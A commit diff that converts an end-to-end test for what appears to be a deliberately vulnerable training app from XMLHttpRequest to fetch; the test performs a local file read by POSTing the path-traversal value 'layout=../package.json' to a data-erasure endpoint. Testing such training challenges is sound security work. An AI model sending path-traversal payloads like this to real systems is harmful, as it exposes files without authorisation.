message: migrate(xml to fetch): dataErasure spec
diff: @@ -5,26 +5,22 @@ describe("/dataerasure", () => {
  describe('challenge "lfr"', () => {
  it("should be possible to perform local file read attack using the browser", () => {
  - cy.window().then(() => {
  - const xhttp = new XMLHttpRequest();
  - xhttp.onreadystatechange = function () {
  - if (this.status === 200) {
  - console.log("Success");
  - }
  - };
  + cy.window().then(async () => {
  const params = "layout=../package.json";
  - xhttp.open("POST", `${Cypress.env("baseUrl")}/dataerasure`);
  - xhttp.setRequestHeader(
  - "Content-type",
  - "application/x-www-form-urlencoded"
  - );
  - xhttp.setRequestHeader("Origin", `${Cypress.env("baseUrl")}/`);
  - xhttp.setRequestHeader(
  - "Cookie",
  - `token=${localStorage.getItem("token")}`
  - );
  - xhttp.send(params); //eslint-disable-line
  + const response = await fetch(`${Cypress.env("baseUrl")}/dataerasure`, {
  + method: "POST",
  + cache: "no-cache",
  + headers: {
  + "Content-type": "application/x-www-form-urlencoded",
  + Origin: `${Cypress.env("baseUrl")}/`,
  + Cookie: `token=${localStorage.getItem("token")}`,
  + },
  + body: params,
  + });
  + if (response.status === 200) {
  + console.log("Success");
  + }
  });
  cy.visit("/");
  cy.expectChallengeSolved({ challenge: "Local File Read" });
  